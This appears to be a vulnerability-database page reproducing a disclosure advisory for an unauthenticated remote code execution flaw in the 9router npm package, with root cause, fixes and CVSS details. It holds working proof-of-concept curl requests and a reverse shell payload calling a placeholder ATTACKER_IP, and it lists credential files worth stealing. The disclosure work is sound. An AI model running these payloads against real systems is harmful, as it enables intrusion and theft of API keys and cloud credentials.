Loading...
Skip to main content

CVE-2026-46339

CRITICAL

9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes

Published May 19, 2026Updated May 19, 2026Source: osv

Summary

## Summary 9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with **zero prerequisites** and **no credentials required**. The vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**. --- ## Root Cause ### 1. Middleware Allowlist Is Too Narrow **File:** `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", ], }; ``` Next.js middleware only runs on routes matching this list. Routes NOT listed — including `/api/cli-tools/*` and `/api/mcp/*` — bypass the `dashboardGuard` auth check entirely. ### 2. Unguarded Endpoint Accepts Arbitrary Command Registration **File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292–319 ```js export async function POST(request) { const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json(); // ... const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : []; if (customPluginsArray.length > 0) { const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge"); const stdioCustoms = customPluginsArray .filter((p) => p.command) .map((p) => ({ name: p.name, command: p.command, // ← attacker-controlled, no validation args: p.args || [], // ← attacker-controlled, no validation })); for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis } } ``` The `command` and `args` fields from the attacker's JSON are stored verbatim into `globalThis.__9routerCustomPlugins` — a process-global Map that survives Hot Module Replacement. **File:** `src/lib/mcp/stdioSseBridge.js`, lines 114–116 ```js function registerCustomPlugin(def) { getCustomStore().set(def.name, def); // no validation of command/args } ``` ### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command **File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6–25 ```js export async function GET(request, { params }) { const { plugin } = await params; if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 }); const stream = new ReadableStream({ start(controller) { sid = registerSession(plugin, send); // ← spawn() called here }, }); return new Response(stream, { ... }); } ``` **File:** `src/lib/mcp/stdioSseBridge.js`, line 138 ```js const proc = spawn(plugin.command, plugin.args, { stdio: ["pipe", "pipe", "pipe"], env: process.env, // inherits full environment }); ``` `spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution. --- ## Attack Chain ``` Attacker (no credentials) │ │ Step 1 — Register malicious plugin (POST, no auth) ▼ POST /api/cli-tools/cowork-settings Content-Type: application/json { "baseUrl": "x", "apiKey": "x", "models": ["x"], "customPlugins": [{ "name": "rev", "command": "/bin/bash", "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"] }] } ← {"success":true, ...} │ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth) ▼ GET /api/mcp/rev/sse ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."]) ← Reverse shell connects to attacker ``` **Time to exploit from first request:** < 2 seconds. **Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`). --- ## Proof of Concept ### PoC 1 — File Write (no listener required) ```bash # Step 1: Register payload curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \ -H 'Content-Type: application/json' \ -d '{ "baseUrl":"x","apiKey":"x","models":["x"], "customPlugins":[{ "name":"rce1", "command":"/bin/sh", "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"] }] }' # → {"success":true,...} # Step 2: Trigger curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1 # Verify cat /tmp/pwned.txt ``` **Observed output (on local test instance):** ``` uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama) sondt23 VSOC-sondt23-L Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux ``` ### PoC 2 — Automated PoC script ```bash # File write mode (for report) python3 poc.py --target http://TARGET:20128 --mode file # Reverse shell mode (interactive) python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444 ``` The script (`poc.py`) is included in this advisory. --- ## Impact | Category | Detail | |---|---| | **Confidentiality** | Full read access to server filesystem — API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials | | **Integrity** | Arbitrary file write, persistence via cron/systemd | | **Availability** | Process termination, resource exhaustion | | **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape → host root | | **Scope** | Remote, unauthenticated, network-accessible | ### High-value exfiltration targets on a typical 9router host - `~/.claude/settings.json` — `ANTHROPIC_AUTH_TOKEN` - `~/.aws/credentials`, `~/.aws/sso/cache/*.json` — AWS keys - `$DATA_DIR/db.sqlite` — 9router local database (all stored API keys, provider configs) - TLS private keys managed by the MITM proxy (`src/mitm/`) --- ## Affected Versions | Version | Affected | Notes | |---|---|---| | < v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist | | v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) | | v0.4.31 | **Yes** | | | v0.4.32 | **Yes** | | | v0.4.33 | **Yes** | Latest at time of disclosure | The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes. --- ## Remediation ### Fix 1 — Extend middleware matcher (minimal fix) **File:** `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", // ADD these: "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` ### Fix 2 — Validate `command` in `registerCustomPlugin` (defense-in-depth) **File:** `src/lib/mcp/stdioSseBridge.js` ```js const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]); function registerCustomPlugin(def) { const bin = def.command?.split("/").pop(); // basename only if (!ALLOWED_MCP_COMMANDS.has(bin)) { throw new Error(`Blocked: command '${def.command}' not in allowlist`); } getCustomStore().set(def.name, def); } ``` ### Fix 3 — Sanitize `customPlugins` at the API boundary **File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312 ```js const stdioCustoms = customPluginsArray .filter((p) => p.command && typeof p.command === "string") .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check .map((p) => ({ name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name command: p.command, args: (p.args || []).map(String), })); ``` **All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature. ---

Remediation

Upgrade to the fixed version using your package manager.

npm
Update 9router to 0.4.37 or later
npm install 9router@0.4.37

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
9router
npm
All versions0.4.37

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-46339?
9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-46339?
CVE-2026-46339 affects 9router. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-46339 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-fhh6-4qxv-rpqj

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies